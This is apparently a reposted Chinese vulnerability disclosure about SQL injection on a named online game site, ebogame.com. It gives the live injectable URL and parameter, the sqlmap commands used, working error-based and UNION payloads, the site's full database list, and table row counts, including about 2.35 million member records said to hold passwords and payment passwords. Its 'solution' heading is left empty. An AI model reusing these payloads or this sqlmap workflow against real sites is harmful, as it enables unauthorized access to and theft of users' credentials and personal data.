欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

第一波游戏某站注入漏洞与主站同库存在注入漏洞(235W万玩家信息可被泄露(用户名/密码/支付密码等) #2

程序员文章站 2022-07-05 23:15:43
RT   注入点   https://yjxy.ebogame.com/gameing.php?url=2 参数为url  ...

RT

 

注入点
 

https://yjxy.ebogame.com/gameing.php?url=2



参数为url
 

C:\Python27\sqlmap>sqlmap.py   -u "https://yjxy.ebogame.com/gameing.php?url=2"
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150429}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 10:28:56

[10:28:56] [INFO] resuming back-end DBMS 'mysql'
[10:28:56] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: url (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
    Payload: url=2' AND (SELECT 9024 FROM(SELECT COUNT(*),CONCAT(0x71787a7671,(S
ELECT (ELT(9024=9024,1))),0x71786a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEM
A.CHARACTER_SETS GROUP BY x)a) AND 'DLdS'='DLdS

    Type: UNION query
    Title: Generic UNION query (NULL) - 12 columns
    Payload: url=2' UNION ALL SELECT NULL,CONCAT(0x71787a7671,0x56624d4869787467
567a,0x71786a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[10:28:56] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3, Nginx
back-end DBMS: MySQL 5.0





一剑轩辕官方网站-第一波网页游戏

数据库为主站数据库


 

C:\Python27\sqlmap>sqlmap.py   -u "https://yjxy.ebogame.com/gameing.php?url=2"
 --dbs
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150429}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 10:33:57

[10:33:57] [INFO] resuming back-end DBMS 'mysql'
[10:33:57] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: url (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
    Payload: url=2' AND (SELECT 9024 FROM(SELECT COUNT(*),CONCAT(0x71787a7671,(S
ELECT (ELT(9024=9024,1))),0x71786a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEM
A.CHARACTER_SETS GROUP BY x)a) AND 'DLdS'='DLdS

    Type: UNION query
    Title: Generic UNION query (NULL) - 12 columns
    Payload: url=2' UNION ALL SELECT NULL,CONCAT(0x71787a7671,0x56624d4869787467
567a,0x71786a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[10:33:57] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3, Nginx
back-end DBMS: MySQL 5.0
[10:33:57] [INFO] fetching database names
[10:33:57] [INFO] the SQL query used returns 13 entries
[10:33:57] [INFO] resumed: "information_schema"
[10:33:57] [INFO] resumed: "5ebo"
[10:33:57] [INFO] resumed: "5ebo_bbs"
[10:33:57] [INFO] resumed: "5ebo_oa"
[10:33:57] [INFO] resumed: "5ebo_ucenter"
[10:33:57] [INFO] resumed: "5ebo_www"
[10:33:57] [INFO] resumed: "5ebo_www_test"
[10:33:57] [INFO] resumed: "eboedu"
[10:33:57] [INFO] resumed: "ebogame"
[10:33:57] [INFO] resumed: "ebogame_1"
[10:33:57] [INFO] resumed: "my"
[10:33:57] [INFO] resumed: "mysql"
[10:33:57] [INFO] resumed: "test"
available databases [13]:
[*] 5ebo
[*] 5ebo_bbs
[*] 5ebo_oa
[*] 5ebo_ucenter
[*] 5ebo_www
[*] 5ebo_www_test
[*] eboedu
[*] ebogame
[*] ebogame_1
[*] information_schema
[*] my
[*] mysql
[*] test







主站数据:


 

[10:36:17] [WARNING] missing table parameter, sqlmap will retrieve the number of
 entries for all database management system databases' tables
Database: ebogame
+-----------------------------------+---------+
| Table                             | Entries |
+-----------------------------------+---------+
| ebogame_member_login              | 4025754 |
| ebogame_member                    | 2350070 |
| ebogame_activation                | 826832  |
| ebogame_member_integral           | 690875  |
| ebogame_charge_20160118           | 465322  |
| pre_ucenter_members               | 388188  |
| bbs_userlist                      | 340331  |
| ebogame_member_info               | 291797  |
| ebogame_member_serv               | 291787  |
| ebogame_member_char               | 240867  |
| ebogame_charge                    | 165158  |
| api_send_mail                     | 61235   |
| ebogame_advertising_click         | 52088   |
| pre_common_district               | 45051   |
| ebogame_charge_copy               | 43282   |
| pre_forum_post                    | 27728   |
| ebogame_game_gift_code_17173      | 20000   |
| pre_home_notification             | 14236   |
| pre_common_credit_rule_log        | 13014   |
| pre_forum_thread                  | 12229   |
| pre_forum_threadpartake           | 10744   |
| pre_forum_threadmod               | 9011    |
| pre_common_member_count           | 8182    |
| pre_common_member_field_forum     | 8182    |
| pre_common_member_field_home      | 8182    |
| pre_common_member_profile         | 8182    |
| pre_common_member_status          | 8182    |
| pre_common_member                 | 8174    |
| pre_common_onlinetime             | 6443    |
| ebogame_game_code                 | 6210    |
| bbs_posts                         | 5157    |
| ebogame_game_gift_code            | 5000    |
| pre_ucenter_memberfields          | 4811    |
| pre_forum_statlog                 | 4730    |
| ebogame_member_price              | 3442    |
| ebogame_game_gift_code_           | 3000    |
| ebogame_content                   | 2640    |
| ebogame_extension_member          | 2574    |
| ebogame_news                      | 2288    |
| bbs_apclog                        | 2061    |
| ebogame_question_reply            | 1668    |
| pre_forum_attachment              | 1566    |
| pre_forum_pollvoter               | 1455    |
| bbs_actlogs                       | 1449    |
| pre_common_member_crime           | 1239    |
| pre_forum_modwork                 | 1003    |
| pre_common_stat                   | 899     |
| bbs_threads                       | 874     |
| ebogame_questions                 | 782     |
| pre_forum_thread_moderate         | 653     |
| ebogame_charge_heepay             | 591     |
| bbs_primsg                        | 517     |
| pre_common_member_action_log      | 496     |
| pre_ucenter_pm_indexes            | 419     |
| pre_forum_threadimage             | 405     |
| pre_common_setting                | 392     |
| ebogame_game_areas                | 358     |
| pre_forum_polloption              | 273     |
| pre_ucenter_pm_members            | 244     |
| pre_forum_attachment_1            | 222     |
| pre_forum_attachment_3            | 212     |
| pre_forum_attachment_4            | 180     |
| pre_forum_post_tableid            | 174     |
| pre_forum_attachment_9            | 168     |
| pre_forum_attachment_5            | 161     |
| pre_forum_threaddisablepos        | 155     |
| sglj_extension                    | 154     |
| ebogame_advertising               | 151     |
| pre_ucenter_pm_lists              | 129     |
| pre_forum_attachment_7            | 124     |
| pre_common_tagitem                | 118     |
| bbs_ugoptlist                     | 115     |
| pre_ucenter_pm_messages_0         | 114     |
| pre_forum_attachment_6            | 106     |
| pre_common_block_style            | 103     |
| pre_forum_attachment_unused       | 103     |
| pre_forum_attachment_0            | 102     |
| pre_forum_attachment_2            | 102     |
| pre_common_syscache               | 95      |
| pre_ucenter_notelist              | 90      |
| pre_common_smiley                 | 85      |
| pre_forum_attachment_8            | 85      |
| pre_forum_rsscache                | 80      |
| pre_ucenter_pm_messages_3         | 70      |
| pre_common_admincp_perm           | 67      |
| pre_common_member_profile_setting | 51      |
| pre_forum_poll                    | 49      |
| pre_ucenter_pm_messages_7         | 49      |
| pre_common_tag                    | 48      |
| pre_common_nav                    | 47      |
| pre_common_stylevar               | 45      |
| pre_ucenter_newpm                 | 40      |
| pre_forum_forumfield              | 38      |
| pre_forum_forum                   | 37      |
| pre_common_credit_log             | 36      |
| pre_ucenter_pm_messages_5         | 35      |
| ebogame_category                  | 33      |
| ebogame_price                     | 33      |
| pre_home_friend                   | 32      |
| pre_common_credit_rule            | 31      |
| pre_ucenter_failedlogins          | 31      |
| pre_ucenter_pm_messages_2         | 31      |
| pre_home_friend_request           | 30      |
| pre_ucenter_pm_messages_6         | 29      |
| pre_ucenter_settings              | 26      |
| bbs_emoticons                     | 25      |
| ebogame_games                     | 25      |
| pre_ucenter_pm_messages_4         | 25      |
| bbs_search                        | 23      |
| pre_ucenter_pm_messages_8         | 23      |
| ebogame_extension_percent         | 22      |
| pre_ucenter_pm_messages_9         | 22      |
| ebogame_extension_settlemen       | 21      |
| pre_ucenter_pm_messages_1         | 21      |
| pre_common_cron                   | 18      |
| pre_common_usergroup              | 16      |
| pre_common_usergroup_field        | 16      |
| pre_home_friendlog                | 16      |
| bbs_forumdata                     | 15      |
| bbs_tags                          | 15      |
| pre_home_click                    | 15      |
| pre_common_report                 | 14      |
| pre_forum_threadclosed            | 14      |
| bbs_contacts                      | 13      |
| pre_forum_replycredit             | 13      |
| bbs_levels                        | 12      |
| pre_common_banned                 | 12      |
| pre_forum_poststick               | 11      |
| ebogame_game_gift_info_17173      | 10      |
| pre_forum_medal                   | 10      |
| ebogame_integral                  | 9       |
| pre_common_plugin                 | 9       |
| pre_home_favorite                 | 9       |
| bbs_usergroup                     | 8       |
| bbs_polls                         | 7       |
| pre_forum_warning                 | 7       |
| ebogame_extension                 | 6       |
| pre_common_pluginvar              | 6       |
| pre_forum_moderator               | 6       |
| pre_forum_typeoption              | 6       |
| pre_common_admincp_group          | 5       |
| pre_common_friendlink             | 5       |
| pre_common_admingroup             | 4       |
| pre_common_advertisement          | 4       |
| pre_common_session                | 4       |
| pre_forum_bbcode                  | 4       |
| pre_forum_onlinelist              | 4       |
| ebogame_game_gift_info_           | 3       |
| pre_common_admincp_member         | 3       |
| pre_common_failedlogin            | 3       |
| pre_forum_grouplevel              | 3       |
| pre_forum_imagetype               | 3       |
| pre_common_admincp_cmenu          | 2       |
| pre_common_block                  | 2       |
| pre_common_credit_rule_log_field  | 2       |
| pre_common_diy_data               | 2       |
| pre_common_patch                  | 2       |
| pre_common_regip                  | 2       |
| pre_common_template_block         | 2       |
| pre_common_word_type              | 2       |
| pre_home_poke                     | 2       |
| pre_home_pokearchive              | 2       |
| pre_mobile_setting                | 2       |
| bbs_favorites                     | 1       |
| bbs_lastest                       | 1       |
| pre_common_admincp_session        | 1       |
| pre_common_cache                  | 1       |
| pre_common_statuser               | 1       |
| pre_common_style                  | 1       |
| pre_common_template               | 1       |
| pre_ucenter_admins                | 1       |
| pre_ucenter_applications          | 1       |
+-----------------------------------+---------+




 

解决方案: